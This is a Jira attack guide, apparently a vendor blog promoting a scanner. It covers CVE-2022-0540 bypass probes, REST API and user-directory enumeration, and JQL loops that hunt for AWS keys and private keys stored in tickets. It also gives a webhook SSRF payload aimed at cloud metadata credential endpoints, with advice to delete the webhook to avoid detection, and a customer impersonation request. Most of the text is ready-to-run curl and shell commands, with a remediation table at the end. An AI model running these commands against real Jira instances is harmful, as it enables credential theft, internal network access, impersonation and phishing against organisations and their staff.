Atlassian Jira is the backbone of software development workflows at millions of organizations. That ubiquity makes it a high-value target — a compromised Jira instance exposes project roadmaps, customer bug reports, internal credentials stored in tickets, CI/CD integrations, and developer identities. This guide covers CVE-2022-0540 authentication bypass, REST API token enumeration, project visibility misconfiguration, service account credential exposure, and webhook-driven SSRF attacks.
CVE-2022-0540 is a critical authentication bypass in Jira and Jira Service Management, affecting versions prior to 8.20.12 (Jira Server/DC) and 4.20.12 (Jira Service Management Server/DC). The vulnerability exists in the Seraph authentication framework — specifically in how the webwork.action.ActionSupport class handles Seraph-level authentication annotations.
An attacker can bypass authentication by exploiting how Jira handles requests with a specific URL path construction that confuses the Seraph authentication check, allowing unauthenticated access to endpoints that should require login.
# Test for CVE-2022-0540 authentication bypass
# The bypass relies on path traversal in the action URL
# Vulnerable endpoint — UserPickerBrowser action without auth
curl -v "https://jira.example.com/jira/secure/ViewUserHover.jspa!default.jspa"
# Seraph bypass via path manipulation
curl -v "https://jira.example.com/secure/WS/latest/UserPickerBrowser.jspa"
# Check if /rest/api/ is accessible without credentials
curl -s "https://jira.example.com/rest/api/2/serverInfo" | python3 -m json.tool
# Test unauthenticated user enumeration via the bypass
curl -s "https://jira.example.com/rest/api/2/user/search?username=admin" \
-H "Accept: application/json"
# Check Jira version — accessible without auth on most instances
curl -s "https://jira.example.com/rest/api/2/serverInfo" | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('version','unknown'))"
# Jira Server info via status page
curl -s "https://jira.example.com/status" | grep -i version
# Check REST API version endpoint
curl -s "https://jira.example.com/rest/api/latest/serverInfo" | jq '.version'
# Nuclei template for CVE-2022-0540
nuclei -u https://jira.example.com -t cves/2022/CVE-2022-0540.yaml
Jira exposes a comprehensive REST API at /rest/api/2/ and /rest/api/3/. Misconfigured instances allow unauthenticated enumeration, while stolen API tokens grant broad data access. Jira API tokens are tied to user accounts and share the user's permissions — a leaked admin token is equivalent to full system access.
# Unauthenticated project enumeration (misconfigured anonymous access)
curl -s "https://jira.example.com/rest/api/2/project" | \
python3 -c "import sys,json; [print(p['key'],p['name']) for p in json.load(sys.stdin)]"
# Authenticated enumeration with API token
JIRA_HOST="https://jira.example.com"
API_TOKEN="your_api_token_here"
USER_EMAIL="user@example.com"
curl -s "$JIRA_HOST/rest/api/2/project" \
-u "$USER_EMAIL:$API_TOKEN" \
-H "Accept: application/json" | jq '.[].key'
# Enumerate all issues in a project
curl -s "$JIRA_HOST/rest/api/2/search?jql=project=PROJ&maxResults=100" \
-u "$USER_EMAIL:$API_TOKEN" | jq '.issues[].fields.summary'
# Look for secrets in issue descriptions and comments
curl -s "$JIRA_HOST/rest/api/2/search?jql=text+~+%22password%22+OR+text+~+%22secret%22+OR+text+~+%22token%22&maxResults=50" \
-u "$USER_EMAIL:$API_TOKEN" | jq '.issues[] | {key, summary: .fields.summary}'
# Search for AWS credentials in tickets
curl -s "$JIRA_HOST/rest/api/2/search?jql=text+~+%22AKIA%22+OR+text+~+%22aws_secret%22&maxResults=20" \
-u "$USER_EMAIL:$API_TOKEN"
# Enumerate users
curl -s "$JIRA_HOST/rest/api/2/user/search?username=&maxResults=1000" \
-u "$USER_EMAIL:$API_TOKEN" | jq '.[].emailAddress'
# Jira API tokens follow a specific pattern — scan git repos, CI logs
# Pattern: [A-Za-z0-9]{24} (classic tokens)
# Pattern: ATATT3xFfGF0[A-Za-z0-9+/=]{100,} (modern tokens)
grep -rE 'ATATT3xFfGF0[A-Za-z0-9+/=]{20,}' /path/to/codebase
grep -rE '"api_token":\s*"[A-Za-z0-9]{24}"' /path/to/codebase
# Trufflescan for Jira tokens in git history
trufflehog git file://. --only-verified --regex "ATATT3xFfGF0"
# GitLeaks rule for Jira
gitleaks detect --source=. -v --config=gitleaks.toml
Jira's permission scheme is complex — organizations frequently misconfigure project visibility, allowing unauthenticated users or low-privilege accounts to access restricted data. The most common misconfigurations involve "Anyone" and "Any logged-in user" permission grants on sensitive projects.
# Check if anonymous access is enabled globally
curl -s "https://jira.example.com/rest/api/2/configuration" | jq .
# List all projects accessible to anonymous
curl -s "https://jira.example.com/rest/api/2/project?expand=description" | \
jq '[.[] | {key, name, projectTypeKey, isPrivate}]'
# Test anonymous issue browsing
curl -s "https://jira.example.com/rest/api/2/search?jql=project+in+projectsWhereUserHasPermission(%22Browse+Projects%22)&maxResults=1"
# Check specific project permissions (requires auth)
curl -s "https://jira.example.com/rest/api/2/project/PROJ/role" \
-u "$USER_EMAIL:$API_TOKEN" | jq 'keys'
# Enumerate permission schemes
curl -s "https://jira.example.com/rest/api/2/permissionscheme" \
-u "$USER_EMAIL:$API_TOKEN" | jq '.[].name'
# Check if "Anyone" has Browse Projects permission
curl -s "https://jira.example.com/rest/api/2/permissionscheme/10000/permission" \
-u "$USER_EMAIL:$API_TOKEN" | jq '.permissions[] | select(.permission == "BROWSE_PROJECTS") | .holder'
Developers routinely paste credentials, SSH keys, API tokens, and database connection strings into Jira tickets. Once a low-privilege account (or anonymous access) can browse tickets, this becomes a serious data breach vector. Automated scanning for these patterns is essential during any Jira assessment.
# JQL queries to find credentials in tickets
JIRA_HOST="https://jira.example.com"
# Search for common secret patterns
QUERIES=(
'text ~ "password:" AND updated >= -90d'
'text ~ "api_key" AND updated >= -90d'
'text ~ "secret_key" AND updated >= -90d'
'text ~ "private_key" AND updated >= -90d'
'text ~ "AKIA" AND updated >= -90d'
'text ~ "BEGIN RSA PRIVATE KEY" AND updated >= -90d'
'text ~ "connectionString" AND updated >= -90d'
'text ~ "mongodb://" AND updated >= -90d'
'text ~ "postgres://" AND updated >= -90d'
)
for q in "${QUERIES[@]}"; do
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$q'))")
COUNT=$(curl -s "$JIRA_HOST/rest/api/2/search?jql=$ENCODED&maxResults=1" \
-u "$USER_EMAIL:$API_TOKEN" | jq '.total')
echo "$COUNT results for: $q"
done
# Extract full text of suspicious tickets
curl -s "$JIRA_HOST/rest/api/2/search?jql=text+~+%22AKIA%22&maxResults=5&fields=summary,description,comment" \
-u "$USER_EMAIL:$API_TOKEN" | \
jq '.issues[] | {key, summary: .fields.summary, description: .fields.description}'
Jira's webhook functionality allows project administrators to configure HTTP callbacks on issue events. An attacker with project-admin access can configure webhooks pointing to internal network addresses, effectively turning Jira into an SSRF proxy to reach internal services.
# Jira webhook SSRF — requires project-admin or Jira-admin
# Create webhook pointing to internal network
curl -s -X POST "https://jira.example.com/rest/webhooks/1.0/webhook" \
-u "$USER_EMAIL:$API_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "test-webhook",
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"events": ["jira:issue_created"],
"jqlFilter": "project = PROJ",
"excludeIssueDetails": false
}'
# Alternative SSRF targets through Jira webhook
SSRF_TARGETS=(
"http://169.254.169.254/latest/meta-data/" # AWS metadata
"http://metadata.google.internal/computeMetadata/v1/" # GCP metadata
"http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Azure metadata
"http://internal-database:5432/" # Internal services
"http://kubernetes.default.svc/" # K8s API server
)
# The webhook fires when a new issue is created — check your SSRF listener
# Then delete the webhook to avoid detection
curl -s -X DELETE "https://jira.example.com/rest/webhooks/1.0/webhook/10000" \
-u "$USER_EMAIL:$API_TOKEN"
# Check system-level webhooks (Jira admin only)
curl -s "https://jira.example.com/rest/webhooks/1.0/webhook" \
-u "$ADMIN_EMAIL:$ADMIN_TOKEN" | jq '.[].url'
Jira Service Management (formerly Jira Service Desk) has its own permission model for customer portals and agent queues. Misconfigurations can allow unauthorized users to view private service desk queues, create tickets as other customers, or bypass customer portal authentication.
# Jira Service Management customer portal enumeration
# Public customer portals are accessible without login
curl -s "https://jira.example.com/servicedesk/customer/portals" | \
grep -oP 'data-portal-id="\K[^"]*'
# Enumerate service desk projects
curl -s "https://jira.example.com/rest/servicedeskapi/servicedesk" \
-u "$USER_EMAIL:$API_TOKEN" | jq '.values[] | {id, projectKey, projectName}'
# List queues in a service desk (agent access)
curl -s "https://jira.example.com/rest/servicedeskapi/servicedesk/1/queue" \
-u "$USER_EMAIL:$API_TOKEN" | jq '.values[] | {id, name, issueCount}'
# Fetch issues from a specific queue
curl -s "https://jira.example.com/rest/servicedeskapi/servicedesk/1/queue/10/issue" \
-u "$USER_EMAIL:$API_TOKEN" | jq '.values[].id'
# Customer account takeover test — create request as another customer
curl -s -X POST "https://jira.example.com/rest/servicedeskapi/request" \
-u "$USER_EMAIL:$API_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"serviceDeskId": "1",
"requestTypeId": "1",
"raiseOnBehalfOf": "victim@example.com",
"requestFieldValues": {
"summary": "Test request on behalf of user",
"description": "Testing customer impersonation"
}
}'
Jira's user search APIs are frequently accessible to authenticated users — even those with minimal permissions. This enables attackers to enumerate the full user directory, identify administrator accounts, and extract email addresses for phishing campaigns.
# User enumeration via REST API
# Works with any authenticated user account
curl -s "https://jira.example.com/rest/api/2/user/search?username=a&maxResults=1000" \
-u "$USER_EMAIL:$API_TOKEN" | jq '.[].emailAddress'
# Paginated enumeration for large directories
for letter in {a..z}; do
curl -s "https://jira.example.com/rest/api/2/user/search?username=$letter&maxResults=1000" \
-u "$USER_EMAIL:$API_TOKEN" | jq -r '.[].emailAddress'
done | sort -u > jira_users.txt
# Find admin users
curl -s "https://jira.example.com/rest/api/2/user/search?username=admin&maxResults=50" \
-u "$USER_EMAIL:$API_TOKEN" | jq '.[] | select(.name | contains("admin")) | .name'
# Group membership — identify privileged groups
curl -s "https://jira.example.com/rest/api/2/group/member?groupname=jira-administrators&maxResults=1000" \
-u "$USER_EMAIL:$API_TOKEN" | jq '.values[].emailAddress'
# Check for users with global admin permissions
curl -s "https://jira.example.com/rest/api/2/user/permission/search?permissions=ADMINISTER&maxResults=100" \
-u "$USER_EMAIL:$API_TOKEN" | jq '.[].emailAddress'
Jira Data Center deployments add clustering complexity that introduces additional attack surface. The cluster's shared filesystem (jira-shared-home), inter-node communication, and the database used for distributed locking can all be targeted.
# Identify Data Center deployment indicators
curl -s "https://jira.example.com/rest/api/2/cluster/nodes" \
-u "$ADMIN_EMAIL:$ADMIN_TOKEN" | jq '.[].nodeId'
# Check cluster health endpoint (admin)
curl -s "https://jira.example.com/rest/api/2/cluster/health" \
-u "$ADMIN_EMAIL:$ADMIN_TOKEN" | jq .
# Data Center uses shared home filesystem — test for path traversal in plugins
# Jira plugin marketplace may expose shared home path
# Check Jira node IDs — used in session cookies for node affinity
# Session affinity bypass: JSESSIONID suffix contains node ID
# Example: JSESSIONID=abc123.node1 -- strip node suffix to hit any node
# Ehcache distributed cache attacks — if clustered port is exposed
nmap -p 40001 --open jira.example.com # Default Ehcache cluster port
nmap -p 5801 --open jira.example.com # Default Hazelcast port
# Check Hazelcast management endpoint (may be unauthenticated on internal interfaces)
curl -s "http://jira-internal:5701/hazelcast/rest/cluster" | jq .
| Finding | Risk | Remediation |
|---|---|---|
| CVE-2022-0540 authentication bypass | Critical | Upgrade Jira to 8.20.12+, 9.2.0+, or latest patch release immediately |
| Anonymous access enabled | High | Disable anonymous access in Global Settings → Security → Anonymous Access |
| Credentials in tickets | High | Audit tickets via JQL for secrets, rotate any exposed credentials, train developers |
| Webhook SSRF | High | Restrict webhook creation to admins; use allowlist for webhook URLs |
| User enumeration via API | Medium | Restrict user search permissions; enable private profile settings |
| Excessive API token scope | Medium | Enforce MFA for Atlassian accounts; audit and revoke unused tokens |
| Unauthenticated REST API access | High | Require authentication for all REST API endpoints; place Jira behind VPN for internal use |
| Cluster port exposure | High | Firewall Hazelcast (5701) and Ehcache (40001) ports; restrict to cluster node IPs only |
Ironimo's Kali Linux-powered scanner automatically tests for CVE-2022-0540, project visibility misconfigurations, API token exposure, and webhook SSRF without manual setup. Get a complete Jira security assessment in minutes.
Start free scan